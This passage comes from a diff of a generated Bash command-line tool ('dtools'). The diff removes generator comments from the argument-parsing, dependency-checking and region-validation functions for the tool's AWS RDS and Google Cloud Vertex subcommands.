ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -17133,11 +15228,9 @@ dtools_aws_logs_query_log_groups_parse_requirements() { } -# :command.parse_requirements dtools_aws_rds_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17154,9 +15247,8 @@ dtools_aws_rds_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 @@ -17165,7 +15257,6 @@ dtools_aws_rds_parse_requirements() { deps['aws']="$(command -v aws | head -n1)" fi - # :dependency.filter if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install with 'brew install jq'" >&2 @@ -17178,7 +15269,6 @@ dtools_aws_rds_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -17198,7 +15288,6 @@ dtools_aws_rds_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_aws_rds_usage >&2 exit 1 @@ -17211,7 +15300,6 @@ dtools_aws_rds_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17222,8 +15310,7 @@ dtools_aws_rds_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -17234,11 +15321,9 @@ dtools_aws_rds_parse_requirements() { } -# :command.parse_requirements dtools_aws_rds_list_db_instances_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17255,17 +15340,14 @@ dtools_aws_rds_list_db_instances_parse_requirements() { esac done - # :command.command_filter action="aws rds list-db-instances" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -17276,10 +15358,8 @@ dtools_aws_rds_list_db_instances_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -17296,8 +15376,7 @@ dtools_aws_rds_list_db_instances_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -17306,11 +15385,8 @@ dtools_aws_rds_list_db_instances_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -17319,13 +15395,11 @@ dtools_aws_rds_list_db_instances_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -17334,11 +15408,9 @@ dtools_aws_rds_list_db_instances_parse_requirements() { } -# :command.parse_requirements dtools_aws_rds_fetch_db_connection_details_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17355,17 +15427,14 @@ dtools_aws_rds_fetch_db_connection_details_parse_requirements() { esac done - # :command.command_filter action="aws rds fetch-db-connection-details" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --profile | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--profile']="$2" shift @@ -17376,10 +15445,8 @@ dtools_aws_rds_fetch_db_connection_details_parse_requirements() { fi ;; - # :flag.case --region | -r) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--region']="$2" shift @@ -17396,9 +15463,7 @@ dtools_aws_rds_fetch_db_connection_details_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['db_instance']+x} ]]; then args['db_instance']=$1 shift @@ -17412,18 +15477,14 @@ dtools_aws_rds_fetch_db_connection_details_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['db_instance']+x} ]]; then printf "missing required argument: DB_INSTANCE\nusage: dtools aws rds fetch-db-connection-details DB_INSTANCE [OPTIONS]\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" - # :command.validations - # :flag.validations if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then @@ -17432,13 +15493,11 @@ dtools_aws_rds_fetch_db_connection_details_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -17447,11 +15506,9 @@ dtools_aws_rds_fetch_db_connection_details_parse_requirements() { } -# :command.parse_requirements dtools_gcp_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17468,9 +15525,8 @@ dtools_gcp_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v gcloud >/dev/null 2>&1; then printf "missing dependency: gcloud\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install'" >&2 @@ -17483,7 +15539,6 @@ dtools_gcp_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -17531,7 +15586,6 @@ dtools_gcp_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_gcp_usage >&2 exit 1 @@ -17544,7 +15598,6 @@ dtools_gcp_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17555,8 +15608,7 @@ dtools_gcp_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -17567,11 +15619,9 @@ dtools_gcp_parse_requirements() { } -# :command.parse_requirements dtools_gcp_login_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17588,17 +15638,14 @@ dtools_gcp_login_parse_requirements() { esac done - # :command.command_filter action="gcp login" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --project | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--project']="$2" shift @@ -17609,10 +15656,8 @@ dtools_gcp_login_parse_requirements() { fi ;; - # :flag.case --location | -l) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--location']="$2" shift @@ -17629,8 +15674,7 @@ dtools_gcp_login_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -17639,16 +15683,13 @@ dtools_gcp_login_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" - # :command.whitelist_filter if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -17657,11 +15698,9 @@ dtools_gcp_login_parse_requirements() { } -# :command.parse_requirements dtools_gcp_project_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17678,10 +15717,8 @@ dtools_gcp_project_parse_requirements() { esac done - # :command.command_filter action="gcp project" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17692,9 +15729,7 @@ dtools_gcp_project_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['project']+x} ]]; then args['project']=$1 shift @@ -17708,7 +15743,6 @@ dtools_gcp_project_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['project']+x} ]]; then printf "missing required argument: PROJECT\nusage: dtools gcp project PROJECT\n" >&2 @@ -17717,11 +15751,9 @@ dtools_gcp_project_parse_requirements() { } -# :command.parse_requirements dtools_gcp_location_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17738,10 +15770,8 @@ dtools_gcp_location_parse_requirements() { esac done - # :command.command_filter action="gcp location" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17752,9 +15782,7 @@ dtools_gcp_location_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['location']+x} ]]; then args['location']=$1 shift @@ -17768,14 +15796,12 @@ dtools_gcp_location_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['location']+x} ]]; then printf "missing required argument: LOCATION\nusage: dtools gcp location LOCATION\n" >&2 exit 1 fi - # :command.whitelist_filter if [[ -n ${args['location']:-} ]] && [[ ! ${args['location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 @@ -17783,11 +15809,9 @@ dtools_gcp_location_parse_requirements() { } -# :command.parse_requirements dtools_gcp_get_project_number_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17804,10 +15828,8 @@ dtools_gcp_get_project_number_parse_requirements() { esac done - # :command.command_filter action="gcp get-project-number" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17818,9 +15840,7 @@ dtools_gcp_get_project_number_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['project_name']+x} ]]; then args['project_name']=$1 shift @@ -17834,7 +15854,6 @@ dtools_gcp_get_project_number_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['project_name']+x} ]]; then printf "missing required argument: PROJECT_NAME\nusage: dtools gcp get-project-number PROJECT_NAME\n" >&2 @@ -17843,11 +15862,9 @@ dtools_gcp_get_project_number_parse_requirements() { } -# :command.parse_requirements dtools_gcp_vertex_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17864,9 +15881,8 @@ dtools_gcp_vertex_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v gcloud >/dev/null 2>&1; then printf "missing dependency: gcloud\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install'" >&2 @@ -17875,7 +15891,6 @@ dtools_gcp_vertex_parse_requirements() { deps['gcloud']="$(command -v gcloud | head -n1)" fi - # :dependency.filter if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install with 'brew install jq'" >&2 @@ -17888,7 +15903,6 @@ dtools_gcp_vertex_parse_requirements() { exit 1 fi - # :command.command_filter action=${1:-} case $action in @@ -17922,7 +15936,6 @@ dtools_gcp_vertex_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_gcp_vertex_usage >&2 exit 1 @@ -17935,7 +15948,6 @@ dtools_gcp_vertex_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17946,8 +15958,7 @@ dtools_gcp_vertex_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -17958,11 +15969,9 @@ dtools_gcp_vertex_parse_requirements() { } -# :command.parse_requirements dtools_gcp_vertex_deploy_model_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -17979,17 +15988,14 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { esac done - # :command.command_filter action="gcp vertex deploy-model" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --project | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--project']="$2" shift @@ -18000,10 +16006,8 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { fi ;; - # :flag.case --location | -l) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--location']="$2" shift @@ -18014,10 +16018,8 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { fi ;; - # :flag.case --display-name | -d) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--display-name']="$2" shift @@ -18028,10 +16030,8 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { fi ;; - # :flag.case --container-image | -c) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--container-image']="$2" shift @@ -18042,10 +16042,8 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { fi ;; - # :flag.case --container-port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--container-port']="$2" shift @@ -18056,10 +16054,8 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { fi ;; - # :flag.case --health-route) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--health-route']="$2" shift @@ -18070,10 +16066,8 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { fi ;; - # :flag.case --predict-route) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--predict-route']="$2" shift @@ -18084,10 +16078,8 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { fi ;; - # :flag.case --model-gcs-uri) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--model-gcs-uri']="$2" shift @@ -18098,10 +16090,8 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { fi ;; - # :flag.case --endpoint-name | -e) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--endpoint-name']="$2" shift @@ -18112,10 +16102,8 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { fi ;; - # :flag.case --machine-type | -m) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--machine-type']="$2" shift @@ -18126,10 +16114,8 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { fi ;; - # :flag.case --accelerator) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--accelerator']="$2" shift @@ -18146,8 +16132,7 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -18156,7 +16141,6 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { esac done - # :command.required_flags_filter if [[ -z ${args['--display-name']+x} ]]; then printf "missing required flag: --display-name, -d DISPLAY_NAME\n" >&2 exit 1 @@ -18170,20 +16154,17 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { exit 1 fi - # :command.default_assignments [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" [[ -n ${args['--container-port']:-} ]] || args['--container-port']="8080" [[ -n ${args['--health-route']:-} ]] || args['--health-route']="/isalive" [[ -n ${args['--predict-route']:-} ]] || args['--predict-route']="/predict" [[ -n ${args['--machine-type']:-} ]] || args['--machine-type']="n1-standard-2" - # :command.whitelist_filter if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -18192,11 +16173,9 @@ dtools_gcp_vertex_deploy_model_parse_requirements() { } -# :command.parse_requirements dtools_gcp_vertex_predict_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -18213,17 +16192,14 @@ dtools_gcp_vertex_predict_parse_requirements() { esac done - # :command.command_filter action="gcp vertex predict" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --location | -l) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--location']="$2" shift @@ -18234,10 +16210,8 @@ dtools_gcp_vertex_predict_parse_requirements() { fi ;; - # :flag.case --file | -f) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--file']="$2" shift @@ -18248,10 +16222,8 @@ dtools_gcp_vertex_predict_parse_requirements() { fi ;; - # :flag.case --endpoint-name | -e) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--endpoint-name']="$2" shift @@ -18268,8 +16240,7 @@ dtools_gcp_vertex_predict_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -18278,10 +16249,8 @@ dtools_gcp_vertex_predict_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" - # :command.whitelist_filter if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 @@ -18289,11 +16258,9 @@ dtools_gcp_vertex_predict_parse_requirements() { } -# :command.parse_requirements dtools_gcp_vertex_list_endpoints_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -18310,17 +16277,14 @@ dtools_gcp_vertex_list_endpoints_parse_requirements() { esac done - # :command.command_filter action="gcp vertex list-endpoints" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --project | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--project']="$2" shift @@ -18331,10 +16295,8 @@ dtools_gcp_vertex_list_endpoints_parse_requirements() { fi ;; - # :flag.case --location | -l) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--location']="$2" shift @@ -18345,10 +16307,8 @@ dtools_gcp_vertex_list_endpoints_parse_requirements() { fi ;; - # :flag.case --detailed) - # :flag.case_no_arg args['--detailed']=1 shift ;; @@ -18359,8 +16319,7 @@ dtools_gcp_vertex_list_endpoints_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -18369,16 +16328,13 @@ dtools_gcp_vertex_list_endpoints_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" - # :command.whitelist_filter if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -18387,11 +16343,9 @@ dtools_gcp_vertex_list_endpoints_parse_requirements() { } -# :command.parse_requirements dtools_gcp_vertex_tail_endpoint_logs_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -18408,17 +16362,14 @@ dtools_gcp_vertex_tail_endpoint_logs_parse_requirements() { esac done - # :command.command_filter action="gcp vertex tail-endpoint-logs" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --project | -p) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--project']="$2" shift @@ -18429,10 +16380,8 @@ dtools_gcp_vertex_tail_endpoint_logs_parse_requirements() { fi ;; - # :flag.case --location | -l) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--location']="$2" shift @@ -18449,9 +16398,7 @@ dtools_gcp_vertex_tail_endpoint_logs_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['endpoint_name']+x} ]]; then args['endpoint_name']=$1 shift @@ -18465,23 +16412,19 @@ dtools_gcp_vertex_tail_endpoint_logs_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['endpoint_name']+x} ]]; then printf "missing required argument: ENDPOINT_NAME\nusage: dtools gcp vertex tail-endpoint-logs ENDPOINT_NAME [OPTIONS]\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" - # :command.whitelist_filter if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -18490,11 +16433,9 @@ dtools_gcp_vertex_tail_endpoint_logs_parse_requirements() { } -# :command.parse_requirements dtools_gcp_artifacts_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -18511,9 +16452,8 @@ dtools_gcp_artifacts_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v gcloud >/dev/null 2>&1; then printf "missing dependency: gcloud\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install'" >&2 @@ -18522,7 +16462,6 